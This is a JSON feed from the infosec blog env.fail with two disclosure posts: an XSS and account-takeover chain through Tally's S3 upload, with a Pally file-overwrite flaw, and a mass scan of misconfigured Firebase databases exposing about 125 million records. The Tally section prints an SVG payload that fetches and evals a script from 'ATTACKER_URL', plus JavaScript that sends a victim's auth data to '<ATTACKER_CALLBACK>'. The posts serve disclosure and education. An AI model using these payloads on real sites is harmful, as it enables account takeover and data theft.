{"version":"https://jsonfeed.org/version/1","title":"env.fail","home_page_url":"https://env.fail/","feed_url":"https://env.fail/blog.json","description":"a shared blog, posting about infosec, mainly web security.","items":[{"id":"https://env.fail/posts/aws-s3/","url":"https://env.fail/posts/aws-s3/","title":"You Suck at Securing S3, Here's Why","content_html":"<p><strong>TLDR</strong>:\nS3 presigned post or other ways of uploading files can easily be abused with XSS or unwanted paths for uploads</p>\n<hr>\n<p>So you might have recently seen all of my (<a href=\"https://kibty.town/\">Eva</a>) <a href=\"https://twitter.com/xyz3va\">tweets</a> about S3 upload, and how many companies can't stop messing it up.\nBelieve it or not, this is a much more widespread issue than even my tweets make it out to be.</p>\n<p>This article covers two common vulnerabilities I've found with S3 upload/presigned post.</p>\n<h2>Who doesn't love a good XSS?</h2>\n<p>You probably saw this one coming. Companies make a <code>files.somecompany.com</code> or <code>cdn.somecompany.com</code> subdomain for S3, and when combined with poor handling of content types on a upload endpoint, we can upload HTML files, and if their cookies are set inproperly, we could use this to takeover accounts.</p>\n<h3>Exhibit A: Tally</h3>\n<p>Tally is a modern Google Forms alternative which allows form creation with images, for this reason (and also profile pictures), they need a way to store files.</p>\n<p>They chose a custom-ish endpoint that uploads a file for you to their S3, after performing checks. Sounds good, right?</p>\n<p>Not so fast, heres what the request for uploading something looks like:\n<img src=\"https://env.fail/files/img/posts/aws-s3/tally-upload-request.png\" alt=\"A endpoint called upload/block-asset, which is a multipart form with a file parameter named &quot;asset&quot; uploading a file called pinkpixel.png\"></p>\n<p>Looks interesting, what if we tried an HTML file instead?</p>\n<pre><code class=\"language-html\">&lt;h1&gt;Hello&lt;/h1&gt;\n&lt;img src=x onerror=&quot;alert(1)&quot;&gt;&lt;/img&gt;\n</code></pre>\n<p>Now lets try to upload it!</p>\n<p><img src=\"https://env.fail/files/img/posts/aws-s3/tally-upload-request-html.png\" alt=\"A endpoint called upload/block-asset, which is a multipart form with a file parameter named &quot;asset&quot; uploading a file called xss.html\"></p>\n<p><img src=\"https://env.fail/files/img/posts/aws-s3/tally-rendered-html.png\" alt=\"A page with a header of Hello, and a broken image\"></p>\n<p>Looks like it didn't work. Lets look at the DOM.</p>\n<p><img src=\"https://env.fail/files/img/posts/aws-s3/tally-devtools.png\" alt=\"Devtools inspector consisting of a img tag with a source of x and a header with the value of &quot;Hello&quot;\"></p>\n<p>Hmm, it looks like Tally sanitized our XSS payload out, so they thought of this. But its likely not foolproof. Lets try uploading a SVG/XML file instead.</p>\n<pre><code class=\"language-xml\">&lt;xml&gt;\n    &lt;text&gt;\n        hello\n        &lt;img\n            src=&quot;1&quot;\n            onerror=&quot;fetch('ATTACKER_URL/script.js').then((a) =&gt; a.text().then((b) =&gt; eval(b)))&quot;\n            xmlns=&quot;http://www.w3.org/1999/xhtml&quot;\n        /&gt;\n    &lt;/text&gt;\n&lt;/xml&gt;\n</code></pre>\n<p>This, actually works. This allows me or a bad actor to get XSS on <code>files.tally.so</code>, which has the session cookie in scope, but its HTTP only. How can we get the cookie when its http only?</p>\n<p>Well it turns out Tally has an endpoint for us that lets us get a authentication token from a refresh cookie, as its web app also needs this token for the API, so this is intentional.</p>\n<p>Heres the final payload served by my webserver:</p>\n<pre><code class=\"language-js\">fetch(&quot;https://api.tally.so/me&quot;, { credentials: &quot;include&quot; }).then((a) =&gt;\n  a.json().then(async (b) =&gt; {\n    await fetch(&quot;&lt;ATTACKER_CALLBACK&gt;&quot;, {\n      method: &quot;POST&quot;,\n      body: JSON.stringify(b),\n      headers: {\n        &quot;Content-Type&quot;: &quot;application/json&quot;,\n      },\n    });\n\n    window.location.replace(&quot;https://tally.so&quot;);\n  })\n);\n</code></pre>\n<p>And heres what my silly little webserver gets when someone clicks the link:</p>\n<pre><code class=\"language-json\">{\n  &quot;id&quot;: &quot;no :3&quot;,\n  &quot;firstName&quot;: &quot;Eva&quot;,\n  &quot;lastName&quot;: &quot;Ivy&quot;,\n  &quot;email&quot;: &quot;xyzeva@riseup.net&quot;,\n  &quot;avatarUrl&quot;: &quot;http://localhost&quot;,\n  &quot;fieldOfWork&quot;: &quot;STUDENT&quot;,\n  &quot;organizationRole&quot;: null,\n  &quot;discoveredVia&quot;: &quot;OTHER&quot;,\n  &quot;isBlocked&quot;: false,\n  &quot;isDeleted&quot;: false,\n  &quot;createdAt&quot;: &quot;2024-02-24T09:26:03.000Z&quot;,\n  &quot;updatedAt&quot;: &quot;2024-02-24T11:01:01.000Z&quot;,\n  &quot;organizationId&quot;: &quot;no :3&quot;,\n  &quot;fullName&quot;: &quot;Eva Ivy&quot;,\n  &quot;hasTwoFactorEnabled&quot;: true,\n  &quot;authorizationToken&quot;: &quot;no :3&quot;,\n  &quot;isOrganizationOwner&quot;: true,\n  &quot;organizationOwner&quot;: {\n    &quot;id&quot;: &quot;no :3&quot;,\n    &quot;firstName&quot;: &quot;Eva&quot;,\n    &quot;lastName&quot;: &quot;Ivy&quot;,\n    &quot;email&quot;: &quot;xyzeva@riseup.net&quot;,\n    &quot;avatarUrl&quot;: &quot;http://localhost&quot;,\n    &quot;fieldOfWork&quot;: &quot;STUDENT&quot;,\n    &quot;organizationRole&quot;: null,\n    &quot;discoveredVia&quot;: &quot;OTHER&quot;,\n    &quot;isBlocked&quot;: false,\n    &quot;isDeleted&quot;: false,\n    &quot;createdAt&quot;: &quot;2024-02-24T09:26:03.000Z&quot;,\n    &quot;updatedAt&quot;: &quot;2024-02-24T11:01:01.000Z&quot;,\n    &quot;organizationId&quot;: &quot;no :3&quot;,\n    &quot;fullName&quot;: &quot;Eva Ivy&quot;,\n    &quot;hasTwoFactorEnabled&quot;: true\n  },\n  &quot;hasActiveSubscription&quot;: false,\n  &quot;hasLifetimeAccess&quot;: false,\n  &quot;canAccessBilling&quot;: false,\n  &quot;hasAccess&quot;: true,\n  &quot;hasChurned&quot;: false,\n  &quot;excessUsage&quot;: null\n}\n</code></pre>\n<p>Cool, one click full pwn of your tally account! Isn't that just really good?</p>\n<p>While no bounty was awarded for this, I can't blame them, theyre a startup and still fixed the issue very quickly.</p>\n<h2>S3 paths are tasty</h2>\n<p>Some services allow the user to control the path/key of the file to upload while uploading, <a href=\"https://github.com/ryanto/next-s3-upload/tree/master\">common libraries also do this</a>. This is a problem when the server doesn't check if the file already exists, allowing the client to override other peoples files.</p>\n<h3>Exhibit B: Pally</h3>\n<p><em>...yes, I did choose this specific example to make it rhyme with Tally.</em></p>\n<p>Anyway, <a href=\"https://pally.gg/\">Pally</a> is a way for streamers to setup a donation page and split it across their team, such as their mods. They have channel banners &amp; channel profile pictures, so they need a way to store data.</p>\n<p>They chose to use S3 to do this, here is what a request to upload a image looks like:</p>\n<p><img src=\"https://env.fail/files/img/posts/aws-s3/pally-upload-request.png\" alt=\"A JSON request with the parameters of acl (Access Control Level) which is set to public-read, key which is set to a random string and .png and filetype, which is a MIME Type set to image/png\"></p>\n<p>This then returns a presigned post URL, the key is randomly generated <strong>by the client</strong>, so what happens if I change the key into something thats already used by another user?</p>\n<p>Well, <a href=\"https://twitter.com/xyz3va/status/1770526159798984724\">thats exactly what I did</a>, and it worked. So for an entire minute, Thor (<a href=\"https://piratesoftware.live/\">PirateSoftware</a>)'s profile picture on Pally was a Gnome.</p>\n<p>They also didn't offer a bounty for this, but they are also a smaller startup, so thats fair.</p>\n<h2>How 2 fix plz halp!!</h2>\n<p>Simply avoid the examples above, set your cookies properly, don't allow people to control the key.</p>\n<p>In conclusion, S3 is pretty hard to do, because of the common pitfalls people come across while using third party libraries: Ignorance.</p>\n<p>This is something we <a href=\"https://env.fail/posts/firewreck-1\">extensively covered</a> in the past. And S3's lack of (good) docs amplifies this issue.</p>\n<h3>That's too hard can't someone else do it for me?</h3>\n<p>There's many products available to simplify S3 (or redo!), heres a few:</p>\n<ul>\n<li><a href=\"https://uploadthing.com/\">UploadThing</a> by <a href=\"https://ping.gg/\">Ping</a></li>\n<li><a href=\"https://www.bytescale.com/file-upload-api\">ByteScale File Upload API</a> by <a href=\"https://www.bytescale.com/\">ByteScale</a></li>\n<li><a href=\"https://www.filestack.com/\">FileStack</a></li>\n</ul>\n","date_published":"Wed, 03 Apr 2024 00:00:00 GMT"},{"id":"https://env.fail/posts/firewreck-1/","url":"https://env.fail/posts/firewreck-1/","title":"900 Sites, 125 million accounts, 1 vulnerability","content_html":"<p><strong>TLDR</strong>:</p>\n<p>- Firebase allows for easy misconfiguration of security rules with zero warnings</p>\n<p>- This has resulted in hundreds of sites exposing a total of ~125 Million user records, including <strong>plaintext passwords</strong> &amp; <strong>sensitive billing information</strong></p>\n<hr>\n<p>After the initial buzz of <a href=\"https://mrbruh.com/chattr/\">pwning Chattr.ai</a> had settled down, we set to work on <strong>scanning the entire internet</strong> for exposed PII via misconfigured Firebase instances.</p>\n<h2>Attempt 1</h2>\n<p><a href=\"https://env.fail/writer/mrbruh\">MrBruh</a> wrote up a rudimentary scanner in Python that would check for Firebase configuration variables in websites or their loaded .js bundles.</p>\n<p>It worked... until it didn't.</p>\n<p>Turns out that a Python program with ~500 threads will start to chew up memory over time. For us that meant it was OOM'ing within an hour of starting it.</p>\n<h2>Attempt 2</h2>\n<p><a href=\"https://env.fail/writer/logykk\">Logykk</a> rewrote the scanner in Go, unlike the prior it didn't seem to leak memory.</p>\n<p>Our initial estimate was that this was going to take ~11 days to scan through the 5 1/2 Million domains, but it turned out to be closer to 2-3 weeks which made this very much a waiting game.</p>\n<h2>Manually checking every domain</h2>\n<p>We first went and started manually looking at each entry in the 550k line text file, seeing if we could find anything interesting, this was time consuming and very repetitive.</p>\n<p>In the end, we went through quite a lot of it and had 136 sites and 6.2 million records, but we all knew that we needed to do something fully automated, because this was taking way too long.</p>\n<h2>Catalyst</h2>\n<p>Once we had acquired our shortlist of potentially affected sites we ran it through a secondary scanner that <a href=\"https://env.fail/writer/xyzeva\">Eva</a> had made called Catalyst.</p>\n<p>This would take the site (or .js bundle) we found, then automatically check for read access to common Firebase collections &amp; any that were explicitly mentioned in the JavaScript itself.</p>\n<p>When it found read access to a collection it would attempt to calculate the impact of the exposed data by gathering a sample of 100 records, <strong>checking the type of information contained and extrapolating that by the total size of the collection</strong>.</p>\n<p>We then, decided the database to use to store all of these results, and we chose <a href=\"https://supabase.com/\">Supabase</a> (which uses PostgreSQL under the hood) a open source Firebase competitor, just for the irony.</p>\n<p>Once all that had been completed the data was formatted and uploaded to a private database table.</p>\n<p><img src=\"https://env.fail/files/img/posts/firewreck-1/supabase_table.png\" alt=\"A database table viewer of data, with the columns of projectId, websiteUrls, allCount, namesCount, emailCount, phoneCount, hashedPwdCount, plaintextPwdCount, billingCount\"></p>\n<h2>The Numbers</h2>\n<ul>\n<li>All (records): 124,605,664</li>\n<li>Names: 84,221,169</li>\n<li>Emails: 106,266,766</li>\n<li>Phone Numbers: 33,559,863</li>\n<li>Passwords: 20,185,831</li>\n<li>Billing Info (Bank details, invoices, etc): 27,487,924</li>\n</ul>\n<p>These numbers should be taken with a grain of salt. <strong><em>They are likely larger than shown here.</em></strong></p>\n<h1>The Shortlist (of affected sites)</h1>\n<h3>1. Silid LMS</h3>\n<p><img src=\"https://env.fail/files/img/posts/firewreck-1/silidlms.png\" alt=\"SilidLMS, a learning platform for teachers\"></p>\n<ul>\n<li>Learning management system for students &amp; teachers</li>\n<li>Most total exposed user records, at <strong>27 Million affected users</strong>. (Names, Emails &amp; Phone numbers)</li>\n</ul>\n<h3>2. Online gambling network</h3>\n<p><img src=\"https://env.fail/files/img/posts/firewreck-1/gambling_ring.png\" alt=\"Carousel of 6 animal themed login pages, on different websites, all very clearly a look alike\"></p>\n<ul>\n<li>Comprised of 9 sites which are all reskins of each other.</li>\n<li>Some <strong>spins are rigged</strong> to have a 0% chance of winning.</li>\n<li>Customer support tried to flirt with me when attempting to report the issue.\n<img src=\"https://env.fail/files/img/posts/firewreck-1/gambling_msgs.png\" alt=\"\"></li>\n<li>Contains the <strong>most amount of exposed bank account details (logins) out of all of our records. (8 Million)</strong></li>\n<li>Also contains the most plaintext passwords out of all of the affected websites, at <strong>10 Million passwords being exposed</strong>.</li>\n</ul>\n<h3>3. Lead Carrot</h3>\n<p><img src=\"https://env.fail/files/img/posts/firewreck-1/leadcarrot.png\" alt=\"Online lead company, &quot;Fill your pipeline with accurate leads today&quot;\"></p>\n<ul>\n<li>Online “lead” generator for cold calling</li>\n<li>Top 3 in total amount of exposed user information, sitting at <strong>22 Million affected people</strong>.</li>\n</ul>\n<h3>4. MyChefTool</h3>\n<p><img src=\"https://env.fail/files/img/posts/firewreck-1/mycheftool.png\" alt=\"&quot;More than just a PoS&quot; top header with &quot;The definitive app for managing your business&quot; main header\"></p>\n<ul>\n<li>Business management app &amp; Point of Service application for restaurants</li>\n<li>1st place for most exposed Names &amp; 2nd place for exposed Emails. <strong>(14 Million &amp; 13 Million respectively)</strong></li>\n</ul>\n<h2>The aftermath</h2>\n<ul>\n<li>842 Emails sent over 13 days</li>\n<li>85% Emails delivered</li>\n<li>9% Emails bounced</li>\n<li>24% of Site owners fixed the misconfiguration</li>\n<li>1% of Site owners emailed us back</li>\n<li>0.2% (2) Sites owners offered a bug bounty</li>\n</ul>\n","date_published":"Mon, 18 Mar 2024 00:00:00 GMT"}]}